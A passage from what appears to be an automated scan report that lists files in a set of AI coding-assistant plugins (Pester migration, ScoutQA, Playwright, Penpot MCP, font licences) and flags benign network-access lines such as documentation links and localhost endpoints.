single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/claude-code/plugins/testing-automation/skills/pester-should-migration/SKILL.md
- Network accessline 121
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 122
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 123
- `https://pester.dev/docs/assertions/should-command` - Network accessline 124
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 125
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 164
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 165
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 166
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/claude-code/plugins/testing-automation/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/claude-code/plugins/testing-automation/skills/playwright-automation-fill-in-form/SKILL.md
- Network accessline 24
- Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi - Network accessline 25
- Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL. - Network accessline 59
**Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 60
**URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 75
- [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.
harness/claude-code/plugins/testing-automation/skills/scoutqa-test/SKILL.md
- Network accessline 59
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 64
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 65
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 95
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 96
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 113
scoutqa --url "https://example.com" --prompt " - Network accessline 122
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 133
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 134
scoutqa --url "https://app.example.com" --prompt " - Network accessline 139
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 140
scoutqa --url "https://app.example.com" --prompt " - Network accessline 145
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 146
scoutqa --url "https://app.example.com" --prompt " - Network accessline 251
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 301
Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 302
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 384
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 386
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 404
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 405
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 406
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 407
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/claude-code/plugins/testing-automation/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 156
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 223
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 224
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 225
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/claude-code/plugins/testing-automation/skills/webapp-testing/LICENSE.txt
harness/claude-code/plugins/testing-automation/skills/webapp-testing/SKILL.md
- Network accessline 68
browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready - Network accessline 69
page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute - Network accessline 70
page.goto('http://localhost:5173') # Server already running and ready
harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/console_logging.py
harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/element_discovery.py
harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/static_html_automation.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/testing-automation/skills/webapp-testing/scripts/with_server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
while time.time() - start_time < timeout: try: with socket.create_connection(('localhost', port), timeout=1): - Network accessline 27
try: with socket.create_connection(('localhost', port), timeout=1): return True - Network accessline 28
with socket.create_connection(('localhost', port), timeout=1):
harness/claude-code/plugins/testing-frameworks/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/testing-frameworks/skills/pester-migration/SKILL.md
- Network accessline 27
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 29
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 41
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 189
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 190
- Installation: https://pester.dev/docs/introduction/installation.
harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/claude-code/plugins/testing-frameworks/skills/pester-should-migration/SKILL.md
- Network accessline 121
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 122
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 123
- `https://pester.dev/docs/assertions/should-command` - Network accessline 124
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 125
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 164
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 165
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 166
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/claude-code/plugins/testing-frameworks/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/claude-code/plugins/testing-frameworks/skills/scoutqa-test/SKILL.md
- Network accessline 59
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 64
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 65
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 95
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 96
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 113
scoutqa --url "https://example.com" --prompt " - Network accessline 122
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 133
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 134
scoutqa --url "https://app.example.com" --prompt " - Network accessline 139
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 140
scoutqa --url "https://app.example.com" --prompt " - Network accessline 145
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 146
scoutqa --url "https://app.example.com" --prompt " - Network accessline 251
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 301
Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 302
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 384
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 386
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 404
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 405
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 406
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 407
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/claude-code/plugins/testing-frameworks/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 156
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 223
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 224
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 225
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/claude-code/plugins/the-workshop/.claude-plugin/plugin.json
harness/claude-code/plugins/tiny-tool-town-submitter/.claude-plugin/plugin.json
harness/claude-code/plugins/token-pacman/.claude-plugin/plugin.json
harness/claude-code/plugins/typescript-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator/SKILL.md
- Network accessline 104
| Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca - Network accessline 105
| --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be - Network accessline 106
| HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non
harness/claude-code/plugins/typespec-m365-copilot/.claude-plugin/plugin.json
harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-api-operations/SKILL.md
- Network accessline 42
@service @server("https://api.example.com") - Network accessline 43
@server("https://api.example.com") - Network accessline 123
{ "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 124
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 125
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 136
], "actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 137
"actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } ] - Network accessline 138
{ "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 269
- [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 270
- [Example API endpoint](https://api.example.com) - Network accessline 271
- [Example item URL](https://example.com/items/${id})
harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin/SKILL.md
- Network accessline 90
| Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza - Network accessline 91
| API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU - Network accessline 92
| OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token
harness/claude-code/plugins/uizze/.claude-plugin/plugin.json
- Network accessline 5
"author": { "name": "UIZZE", "url": "https://uizze.com" - Network accessline 6
"name": "UIZZE", "url": "https://uizze.com" }, - Network accessline 7
"url": "https://uizze.com" - Network accessline 8
}, "homepage": "https://uizze.com", "repository": "https://github.com/github/awesome-copilot", - Network accessline 9
"homepage": "https://uizze.com", - Network accessline 10
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/uizze/skills/anti-ui-slop/SKILL.md
- Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing U - Network accessline 5
repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before choosing a layout, or when the user wants a - Network accessline 6
skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before - Network accessline 27
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 48
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 154
- [UIZZE public catalogue](https://uizze.com)
harness/claude-code/plugins/ux-design-tooling/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/LICENSE.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt
- Network accessline 1
Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt
- Network accessline 1
Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt
- Network accessline 1
Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt
- Network accessline 1
Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/DMMono-OFL.txt
- Network accessline 1
Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt
- Network accessline 1
Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Gloock-OFL.txt
- Network accessline 1
Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt
- Network accessline 1
Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Italiana-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt
- Network accessline 1
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Jura-OFL.txt
- Network accessline 1
Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt
- Network accessline 1
Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Lora-OFL.txt
- Network accessline 1
Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt
- Network accessline 1
Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Outfit-OFL.txt
- Network accessline 1
Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt
- Network accessline 1
Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt
- Network accessline 1
Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt
- Network accessline 1
Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt
- Network accessline 1
Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Tektur-OFL.txt
- Network accessline 1
Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt
- Network accessline 1
Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt
- Network accessline 1
Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/plugins/ux-design-tooling/skills/penpot-uiux-design/SKILL.md
- Network accessline 28
- Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui - Network accessline 29
- If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in - Network accessline 30
- Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`. - Network accessline 31
- In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI. - Network accessline 32
- VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.
harness/claude-code/plugins/ux-design-tooling/skills/penpot-uiux-design/references/setup-troubleshooting.md
- Network accessline 26
- **Node.js v22+** - [Download](https://nodejs.org/) - Network accessline 42
# Clone the repository git clone https://github.com/penpot/penpot-mcp.git - Network accessline 43
git clone https://github.com/penpot/penpot-mcp.git - Network accessline 66
MCP Server listening on http://localhost:4401 - Network accessline 67
Plugin server listening on http://localhost:4400 - Network accessline 73
1. Open [Penpot](https://design.penpot.app/) in your browser - Network accessline 75
3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` - Network accessline 76
4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"** - Network accessline 77
5. Enter: `http://localhost:4400/manifest.json` - Network accessline 92
"servers": { "penpot": { "url": "http://localhost:4401/sse" - Network accessline 93
"penpot": { "url": "http://localhost:4401/sse" } - Network accessline 94
"url": "http://localhost:4401/sse" - Network accessline 106
"servers": { "penpot": { "url": "http://localhost:4401/mcp" - Network accessline 107
"penpot": { "url": "http://localhost:4401/mcp" } - Network accessline 108
"url": "http://localhost:4401/mcp" - Network accessline 135
"penpot": { "command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 136
"command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] } - Network accessline 137
"args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 148
claude mcp add penpot -t http http://localhost:4401/mcp - Network accessline 207
# Test the SSE endpoint curl http://localhost:4401/sse - Network accessline 208
curl http://localhost:4401/sse - Network accessline 210
# Test the MCP endpoint curl http://localhost:4401/mcp - Network accessline 211
curl http://localhost:4401/mcp - Network accessline 237
1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Network accessline 238
